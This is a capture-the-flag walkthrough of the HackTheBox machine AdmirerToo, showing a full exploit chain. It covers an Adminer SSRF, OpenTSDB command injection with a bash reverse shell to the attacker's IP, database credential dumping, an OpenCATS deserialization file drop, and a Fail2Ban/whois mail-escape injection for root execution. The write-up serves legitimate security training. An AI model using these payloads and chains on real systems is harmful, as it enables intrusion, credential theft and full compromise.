AdmirerToo from HackTheBox — Detailed Walkthrough

Showing you all the tools and techniques needed to complete the box.

Pencer
InfoSec Write-ups

--

Machine Information

Timing from HackTheBox

We start this box on port 80, there’s a website and some enumeration finds us a database. We use an SSRF vulnerability to find OpenTSDB running on another port. This is also vulnerable and we use an exploit to gain a shell on the box. Looking around we find OpenCats, MySQL and user credentials. Eventually we get access to SSH as user Jennifer, which lets us port forward and get to the OpenCats site remotely. There we find a way to drop a bash script by creating a serialised payload, and get root to execute it using a Fail2Ban exploit and a whois configuration file.

Skills required are good enumeration and exploit research knowledge. Skills learned are creating serialised payloads, and chaining vulnerabilities to get code execution.

Initial Recon

As always let’s start with Nmap:

Nmap scan of the box

Only port 80 available for now with a few possibly interesting for later that are filtered:

Website on port 80

There is nothing on the website and Feroxbuster didn’t find anything with a brute force. A none existent page gives us a 404 not found as expected:

┌──(root💀kali)-[~/htb/admirertoo]
└─# curl -i http://10.10.11.137/pencer
HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2022 13:10:59 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 325
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at <a href="mailto:webmaster@admirer-gallery.htb">10.10.11.137</a> Port 80</address>
</body></html>

However there is a domain revealed by the mailto link. Let’s put that in our hosts file:

┌──(root💀kali)-[~/htb/admirertoo]
└─# echo "10.10.11.137 admirer-gallery.htb" >> /etc/ hosts

Gobuster

Browsing to that address gives us the same simple webpage. Let’s try another brute force, this time looking for vhosts:

┌──(root💀kali)-[~/htb/admirertoo]
└─# gobuster vhost -t 100 -k -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://admirer-gallery.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://admirer-gallery.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/02/26 12:58:27 Starting gobuster in VHOST enumeration mode
===============================================================
Found: db.admirer-gallery.htb (Status: 200) [Size: 2511]
===============================================================
2022/02/26 13:01:14 Finished
===============================================================

Now we have a subdomain, add that to our hosts file:

┌──(root💀kali)-[~/htb/admirertoo]
└─# echo "10.10.11.137 db.admirer-gallery.htb" >> /etc/ hosts

Adminer

Browsing to the site we find a log in page for Adminer 4.7.8:

Adminer log in page

Clicking enter take us inside and we can look around the database:

Adminer database exploration

There’s not a lot you can do in here. Looking for an exploit I see this version of Adminer is from December 2020 and there’s a few options here. For 4.7.8 we have CVE-2021–21311 with an exploit here.

SSRF Vulnerability

Reading through the exploit we see there is a SSRF vulnerability with a script here that we can use to redirect requests. Let’s grab it and set it listening:

┌──(root💀kali)-[~/htb/admirertoo]
└─# wget https://gist.githubusercontent.com/bpsizemore/227141941c5075d96a34e375c63ae3bd/raw/0f5e8968a3490190d72ccefd40f9c6b693918d71/redirect.py
--2022-02-28 22:31:43--
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1290 (1.3K) [text/plain]
Saving to: ‘redirect.py.1’
redirect.py 100%[===============>] 1.26K --.-KB/s in 0s
2022-02-28 22:31:43 (139 MB/s) - ‘redirect.py’ saved [1290/1290]
┌──(root💀kali)-[~/htb/admirertoo]
└─# python2 redirect.py --port 80 http://127.0.0.1
serving at port 80

With that waiting let’s start Burp so we can intercept requests from the browser. Now back to the website and with Burp ready to intercept click Enter here:

Click enter to send to Burp

In Burp we have captured the request:

Use Burp to intercept request

The last part of the POST message is URL encoded, if you decode it looks like this:

auth[driver]=server&
auth[server]=localhost&
auth[username]=admirer_ro&
auth[password]=1w4nn4b3adm1r3d2!&
auth[db]=admirer&
auth[permanent]=1

If you look at the exploit it shows you to change the System field to Elasticsearch, for our form we need to change the parameter auth[driver] which is the equivalent. Just to make it more complicated if you look in the docs here the driver is actually called elastic not elasticsearch.

Secondly the exploit shows you to change server to your attack machines IP, for our form we need to change the parameter auth[server] which is the equivalent.

So our altered parameters look like this:

auth[driver]=elastic&
auth[server]=10.10.16.95&
auth[username]=admirer_ro&
auth[password]=1w4nn4b3adm1r3d2!&
auth[db]=admirer&
auth[permanent]=1

URL encode that and replace in Burp so it looks like this:

Url encode string

Click forward and you’ll see a GET request in Burp:

Forward request in Burp

Click forward again and you’ll see the page looks like this instead of the db admin screen we saw before:

Adminer page shows response from exploit

If you do html2text on that output you’ll see it’s the index.php page from the original admirer-gallery.htb site we saw right at the start:

┌──(root💀kali)-[~/htb/admirertoo]
└─# cat html | html2text

Admirer
****** Admirer of theworld. ******
Welcome to my image gallery.
Are you an admirer too?
[img/highway.jpg]
******_Biodiesel_squid_******
Have_you_ever_seen_anything_like_it?
[img/portfolio_item_4.png]
******_raclette_taxidermy_******
Impressive,_isn't_it?
<SNIP>

And looking at our redirector running in Kali we see we had a hit:

┌──(root💀kali)-[~/htb/admirertoo]
└─# python2 redirect.py --port 80 http://127.0.0.1
serving at port 80
10.10.11.137 - - [28/Feb/2022 22:53:51] "GET / HTTP/1.0" 301 -
10.10.11.137 - - [28/Feb/2022 22:53:52] "GET / HTTP/1.0" 301 -

This confirms that we redirected the request back to port 80 on the box and that we can use SSRF to further enumerate it. If you need a primer on SSRF then PortSwigger have a good article here.

Scanning Filtered Ports

If we look back at our Nmap scan at the start there were a couple of filtered ports, this one being of interest:

4242/tcp  filtered vrml-multi-use

With our ability to use an SSRF attack we can probe that port from inside the box, we just need to change our redirector:

┌──(root💀kali)-[~/htb/admirertoo]
└─# python2 redirect.py --port 80 http://127.0.0.1:4242
serving at port 80

Now when the box request comes to us on Kali we redirect it back on port 4242. We need to do the same process as before to perform the SSRF attack. So back to the web browser, go to the login page. With Burp ready to intercept click the Enter button:

Send request to Burp

Change the last part so auth[driver] is set to elastic and auth[server] is set to our Kali IP:

Change parameters to point to Kali

Click forward and you’ll see a GET request in Burp:

Intercept request with Burp

Click forward again and switch back to the browser to see the reflected output:

See reflected output on the website

OpenTSDB

You can see the title of the page says OpenTSDB. I’ve never heard of this but a quick search found the GitHub repo for it here. And a look for exploits found this CVE, with a POC here that tries to leak the passwd file. I also found further info in the issue raised here for the project.

So I used the example and changed my redirector to look like this:

Python running our SSRF exploit

It’s hard to read but I’m doing a cat of the passwd file using the exploit. So same as before, back to the browser, have Burp intercepting, click Enter capture request and change auth[driver] and auth[server] just like we did the last couple of time. Forward that and back in the browser we see this:

Error shows metrics is not available

A long list of errors with the important bit at the end highlighted. No such metric as sys.cpu.nice. A search found this on StackOverflow to list the available metrics. Change our redirector:

┌──(root💀kali)-[~/htb/admirertoo]
└─# python2 redirect.py --port 80 'http://127.0.0.1:4242/api/suggest?type=metrics'
serving at port 80

Back to the browser, intercept with Burp etc. After forwarding on we see this response in the browser:

Reflected response shows available metric

So now we know the only available metric is http.stats.web.hits. I messed around for ages trying to get the passwd file or any other file displaying in the browser using that metric. I didn’t get an error so was sure I’d got the parameter correct. In the end I went with a reverse shell which worked first time!

Reverse Shell

I took this simple reverse shell:

'/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.95/1337 0>&1"'

I URL encoded it so it looked like this:

%27%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%39%35%2f%31%33%33%37%20%30%3e%26%31%22%27

Then I started my redirector with that in there as the system command to execute:

┌──(root💀kali)-[~/htb/admirertoo]
└─# python2 redirect.py --port 80 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%39%35%2f%34%34%34%34%20%30%3e%26%31%22%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
serving at port 80

Back to the browser, intercept with Burp etc. Forward on request in Burp then back to the terminal to see we are connected:

┌──(root💀kali)-[~]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.95] from (UNKNOWN) [10.10.11.137] 58776
opentsdb@admirertoo:/$

Upgrade shell before we do anything:

opentsdb@admirertoo:/$ which python
/bin/python
opentsdb@admirertoo:/$ python -c 'import pty;pty.spawn("/bin/bash")'
opentsdb@admirertoo:/$ ^Z
zsh: suspended nc -nlvp 4444
┌──(root💀kali)-[~]
└─# stty raw -echo; fg
opentsdb@admirertoo:/$ stty rows 51 cols 236
opentsdb@admirertoo:/$ export TERM=xterm

OpenCats

Looking around I found something interesting in the /opt folder:

opentsdb@admirertoo:~$ ls -l /opt
drwxr-xr-x 9 root hbase 4096 Jul 8 2021 hbase
drwxr-xr-x 23 root root 4096 Jul 21 2021 opencats

Looking in that folder the readme points us to the docs here. It seems to be a free recruitment system, and looking in the folder I found a config file with data base credentials:

opentsdb@admirertoo:/opt/opencats$ more config.php
<?php
/*
* CATS
* Configuration File
*
<SNIP>
/* Database configuration. */
define('DATABASE_USER', 'cats');
define('DATABASE_PASS', 'adm1r3r0fc4ts');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'cats_dev');

MySQL Enumeration

We can find the database:

opentsdb@admirertoo:/opt/opencats$ find / -name cats_dev 2>/dev/null
/var/lib/mysql/cats_dev

With the credentials we can enumerate the database and dump users:

opentsdb@admirertoo:/opt/opencats$ mysql -u cats -padm1r3r0fc4ts -e 'show databases;'
+--------------------+
| Database |
+--------------------+
| cats_dev |
| information_schema |
+--------------------+
opentsdb@admirertoo:/opt/opencats$ mysql -u cats -padm1r3r0fc4ts -e 'show tables from cats_dev;'
+--------------------------------------+
| Tables_in_cats_dev |
+--------------------------------------+
| access_level |
<SNIP>
| user |
| user_login |
| word_verification |
| xml_feed_submits |
| xml_feeds |
| zipcodes |
+--------------------------------------+
opentsdb@admirertoo:/opt/opencats$ mysql -u cats -padm1r3r0fc4ts -e 'show columns in user from cats_dev;'
+---------------------------+--------------+------+-----+---------+
| Field | Type | Null | Key | Default |
+---------------------------+--------------+------+-----+---------+
| user_id | int(11) | NO | PRI | NULL |
| site_id | int(11) | NO | MUL | 0 |
| user_name | varchar(64) | NO | | |
| email | varchar(128) | YES | | NULL |
| password | varchar(128) | NO | | |
<SNIP>
| can_see_eeo_info | int(1) | YES | | 0 |
+---------------------------+--------------+------+-----+---------+
opentsdb@admirertoo:/opt/opencats$ mysql -u cats -padm1r3r0fc4ts -D cats_dev -e 'select user_name,password from user;'
+----------------+----------------------------------+
| user_name | password |
+----------------+----------------------------------+
| admin | dfa2a420a4e48de6fe481c90e295fe97 |
| cats@rootadmin | cantlogin |
| jennifer | f59f297aa82171cc860d76c390ce7f3e |
+----------------+----------------------------------+

I couldn’t crack those md5 hashes, so for now this is a dead end. Time for more enumeration around the OS, where I eventually found more credentials:

opentsdb@admirertoo:/var/www/adminer$ grep -rl "pass*" . 2>/dev/null
./plugins/data/servers.php
./plugins/oneclick-login.php
./plugins/plugin.php
./adminer-included-0ae90598f37b20e3e7eb122c427729ed.php

opentsdb@admirertoo:/var/www/adminer$ cat plugins/data/servers.php
<?php
return [
'localhost' => array(
// 'username' => 'admirer',
// 'pass' => 'bQ3u7^AxzcB7qAsxE3',
// Read-only account for testing
'username' => 'admirer_ro',
'pass' => '1w4nn4b3adm1r3d2!',
'label' => 'MySQL',
'databases' => array(
'admirer' => 'Admirer DB',
)
),
];

Looking at users who can log in on the box we see just one:

opentsdb@admirertoo:/var/www/adminer$ ls -l /home
drwxr-xr-x 3 jennifer users 4096 Feb 22 20:58 jennifer

SSH As Jennifer

Turns out that password above has been reused by jennifer:

┌──(root💀kali)-[~/htb/admirertoo]
└─# ssh jennifer@admirer-gallery.htb
jennifer@admirer-gallery.htbs password:
Linux admirertoo 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1
No mail.
Last login: Wed Mar 2 22:02:08 2022 from 10.10.14.160
jennifer@admirertoo:~$

Looking at running services shows a few ports listening locally:

netstat showing locally listening services

Port 8080 is often used for websites, we can use curl to look:

jennifer@admirertoo:~$ curl 127.0.0.1:8080
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>opencats - Login</title>

SSH Port Forwarding

It’s a login page for OpenCats which we saw before. Let’s set up a SSH tunnel from Kali to the box so we can look at that website:

┌──(root💀kali)-[~/htb/admirertoo]
└─# ssh -L 1234:127.0.0.1:8080 jennifer@admirer-gallery.htb
jennifer@admirer-gallery.htb's password:
Linux admirertoo 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1
Last login: Wed Mar 2 23:07:19 2022 from 10.10.14.169
jennifer@admirertoo:~$

Now on Kali we can browse to port 1234 and will be forwarded through our SSH tunnel to port 8080 on the box:

OpenCats login page

OpenCats Exploit

The login page shows us the version is 0.9.5.2, a search found two CVEs. This is a de-serialization exploit, and this is a XXS issue. Both point to a technical walk through here.

To be able to take advantage of these exploits we need valid credentials to get in to the OpenCATS dashboard. Earlier I found users and hashes from the MySQL database used by OpenCATS, but I couldn’t crack them. Instead with admin access to the database we can just set a new password for the admin account.

Create an md5 hash of my password which is pencer:

jennifer@admirertoo:~$ echo -n pencer | md5sum
b8ea4ab13b0e0864760dbfb9427f31fc -

Find the user_id of the admin account in the database:

jennifer@admirertoo:~$ mysql -u cats -padm1r3r0fc4ts -D cats_dev -e 'select user_id,user_name,password from user;'
+---------+----------------+----------------------------------+
| user_id | user_name | password |
+---------+----------------+----------------------------------+
| 1 | admin | dfa2a420a4e48de6fe481c90e295fe97 |
| 1250 | cats@rootadmin | cantlogin |
| 1251 | jennifer | f59f297aa82171cc860d76c390ce7f3e |
+---------+----------------+----------------------------------+

Change password to my hashed version:

jennifer@admirertoo:~$ mysql -u cats -padm1r3r0fc4ts -D cats_dev -e 'update user set password = "b8ea4ab13b0e0864760dbfb9427f31fc" where user_id = 1;'

OpenCats As Administrator

Now go back to the OpenCATS login box and use admin:pencer to get in to the dashboard:

OpenCats home page logged in as administrator

The exploit explains there is an insecure deserialize function in use on the activities section. Start Burp and have it ready to intercept then click on Date:

Intercept OpenCats request with Burp

Looking in Burp you can see there is a serialized string after the ActivityDataGrid parameter:

phpggc

We can change that for our own code and drop a file on the box. Use phpggc as described:

┌──(root💀kali)-[~/htb/admirertoo]
└─# phpggc
Command 'phpggc' not found, but can be installed with:
apt install phpggc
Do you want to install it? (N/y)y
apt install phpggc
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
phpggc
0 upgraded, 1 newly installed, 0 to remove and 587 not upgraded.
Need to get 40.1 kB of archives.
After this operation, 423 kB of additional disk space will be used.
Get:1 https://archive-4.kali.org/kali kali-rolling/main amd64 phpggc all 0.20210218-0kali1 [40.1 kB]
Fetched 40.1 kB in 1s (40.6 kB/s)
Selecting previously unselected package phpggc.
(Reading database ... 305301 files and directories currently installed.)
Preparing to unpack .../phpggc_0.20210218-0kali1_all.deb ...
Unpacking phpggc (0.20210218-0kali1) ...
Setting up phpggc (0.20210218-0kali1) ...
Processing triggers for kali-menu (2021.4.2) ...

Install if needed. Now create our test file and use phpggc to give us a serialized object:

┌──(root💀kali)-[~/htb/admirertoo]
└─# echo "this is a test" > pencer.txt

┌──(root💀kali)-[~/htb/admirertoo]
└─# phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/pencer.txt /root/htb/admirertoo/pencer.txt
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookieJar%00filename%22%3Bs%3A17%3A%22%2Fdev%2Fshm%2Fpencer.txt%2<SNIP>%3B%7D

File Drop

Now paste that in to Burp and replace what is already there:

Paste payload in to Burp

Using Repeater to send the request we see a 200 OK response. Switch to our SSH session on the box and check the file we just dropped on there:

jennifer@admirertoo:~$ ls -l /dev/shm/
4 -rw-r--r-- 1 devel devel 58 Mar 3 21:46 pencer.txt
jennifer@admirertoo:~$ cat /dev/shm/pencer.txt
[{"Expires":1,"Discard":false,"Value":"this is a test\n"}]

The file is owned by another user called devel. We can look for locations that user has access to:

jennifer@admirertoo:~$ find / -group devel 2>/dev/null
/dev/shm/test.txt
/opt/opencats/INSTALL_BLOCK
/usr/local/src
/usr/local/etc

Fail2Ban

Now we need to find a way of exploiting the ability to drop a file of our choosing in one of those locations as the devel user. This next part took me far too long to figure out!

After looking around I notice fail2ban is installed:

jennifer@admirertoo:~$ ls -l /etc/fail2ban/
drwxr-xr-x 2 root root 4096 Jul 19 2021 action.d
-rw-r--r-- 1 root root 2334 Jan 18 2018 fail2ban.conf
drwxr-xr-x 2 root root 4096 Sep 23 2018 fail2ban.d
drwxr-xr-x 3 root root 4096 Jul 19 2021 filter.d
-rw-r--r-- 1 root root 22897 Jan 18 2018 jail.conf
drwxr-xr-x 2 root root 4096 Jul 19 2021 jail.d
-rw-r--r-- 1 root root 167 Jul 19 2021 jail.local
-rw-r--r-- 1 root root 645 Jan 18 2018 paths-arch.conf
-rw-r--r-- 1 root root 2827 Jan 18 2018 paths-common.conf
-rw-r--r-- 1 root root 573 Jan 18 2018 paths-debian.conf
-rw-r--r-- 1 root root 738 Jan 18 2018 paths-opensuse.conf

Checking we can see it is running:

jennifer@admirertoo:~$ systemctl status fail2ban.service 
● fail2ban.service - Fail2Ban Service
Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
Active: active (running) since Thu 2022-03-03 21:29:26 GMT;
Docs: man:fail2ban(1)
Process: 445 ExecStartPre=/bin/mkdir -p /var/run/fail2ban (code=exited, status=0/SUCCESS)
Main PID: 459
Tasks: 3 (limit: 4701)
Memory: 22.6M
CGroup: /system.slice/fail2ban.service
└─459 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

Looking at config we see it’s protecting ssh and set up to send emails on alerts:

jennifer@admirertoo:~$ cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true
jennifer@admirertoo:~$ cat /etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 127.0.0.1
bantime = 60s
destemail = root@admirertoo.htb
sender = fail2ban@admirertoo.htb
sendername = Fail2ban
mta = mail
action = %(action_mwl)s

Checking version installed we see it’s old:

jennifer@admirertoo:~$ fail2ban-server --version
Fail2Ban v0.10.2

Version 0.10.2 was released in 2018. A search finds CVE-2021–32749 for it. A bit of reading finds this which leads to this research and this advisory.

The key info from all that reading is this bit:

The ‘~|’ escape pipes the message composed so far through the given shell command and replaces the message with the output the command produced. If the command produced no output, mail assumes that something went wrong and retains the old contents of your message.

With this we can execute code of our choosing on the box in the context of the Fail2Ban service which runs as root. And we know from the config files to trigger it we just have to fail to log on to SSH a few times. The tricky part is how do we inject our escape sequence in to the mail that is generated, and the answer comes from the advisory here:

This strictly puts whois command output of banned IP address into email. So if attacker could get control over whois output of his own IP address - code execution could be achieved (with root, which is more fun of course).

Whois Config Exploit

Which leads us back to the fact that we can drop a file as user devel in /usr/local/etc via the OpenCATS un-serialize exploit. Whois uses a config file to list public whois servers. The docs for this version of whois says:

The configuration file should reside in the /usr/local/etc directory, or the directory that you specified using the --sysconfdir switch to the configure script.

So we create a whois.conf file that points the box to our Kali IP which it will use when it looks up the IP that Fail2Ban will block. For this to work we have to use a Regex expression in our conf file because of the way phpggc encodes the input.

For example if we do this:

┌──(root💀kali)-[~/htb/admirertoo]
└─# echo "[10.10.14.169]" > whois.conf

Then after encoding and dropping on the box it will look like this:

jennifer@admirertoo:~$ cat/usr/local/etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"[10.10.14.169]\n"}]

Which isn’t valid and you get an error when trying to use whois on the box. Instead we use regex like this:

┌──(root💀kali)-[~/htb/admirertoo]
└─# echo "}]|. [10.10.14.169]" > whois.conf

Then it will look like this when it’s dropped on the box:

jennifer@admirertoo:~$ cat /usr/local/etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.169]\n"}]

The vertical bar is an OR in Regex, and the dot is match characters inside the square brackets. What this means is although the conf file contains invalid data when whois parses it the. causes it to only use the characters inside the brackets. And that is a valid IP address of our waiting Kali IP.

Let’s do it. First create our whois.conf file:

┌──(root💀kali)-[~/htb/admirertoo]
└─# echo "}]|. [10.10.14.169]" > whois.conf

Use phpgcc to serialise it and cause it to drop in the /usr/local/etc folder on the box:

┌──(root💀kali)-[~/htb/admirertoo]
└─# phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /root/htb/admirertoo/whois.conf
a%3A2%3A%7Bi%3A7<SNIP>Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A20%3A%22%7D%5D%7C.+%5B10.10.14.169%5D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D

Back to Burp, capture the activities data grid request like before, replace the serialized content at the start with ours:

Capture request with Burp and put serialized payload in there

Send to the box, then switch to our SSH session connected as Jennifer. Make sure the file is there:

jennifer@admirertoo:~$ cat /usr/local/etc/whois.conf 
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.169]\n"}]

Create a payload on Kali that we want to inject in to the email and have executed on the box. I could have gone for a reverse shell but to keep it simple I’m just copying the root flag out:

┌──(root💀kali)-[~/htb/admirertoo]
└─# cat flag_copy.txt
~| bash -c "cp /root/root.txt /tmp/root.txt && chmod 777 /tmp/root.txt" &

Note my code I want to execute starts with the ~| which was identified in the Fail2Ban exploit as the way to inject. Now start nc listening locally on port 43, which is what whois will talk to us on:

┌──(root💀kali)-[~/htb/admirertoo]
└─# nc -nvlkp 43 -c "cat /root/htb/admirertoo/flag_copy.txt"
listening on [any] 43 ...

Root Flag

Now fail to log in to SSH three times to cause Fail2Ban to send the email, which will use whois to look up our IP, which will get redirected to our waiting nc listener because of the whois.conf file we dropped, which in turn will send the text file back that has our cp in it:

┌──(root💀kali)-[~/htb/admirertoo]
└─# ssh -L 1234:127.0.0.1:8080 jennifer@admirer-gallery.htb
jennifer@admirer-gallery.htbs password:
Permission denied, please try again.
jennifer@admirer-gallery.htbs password:
Permission denied, please try again.
jennifer@admirer-gallery.htbs password:
jennifer@admirer-gallery.htb: Permission denied (publickey,password).

Now finally back on the box as Jennifer we have access to the root flag in the /tmp folder:

jennifer@admirertoo:~$ cat /tmp/root.txt 
e3eeb41b4e22ad1ca6419cf2501b2ab2

All done. See you next time.

If you liked this article please leave me a clap or two (it’s free!)

Twitter — https://twitter.com/pencer_io
Website — https://pencer.io

Originally published at https://pencer.io on June 12, 2022.

--

--

Eat. Sleep. Hack. Repeat. I like hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.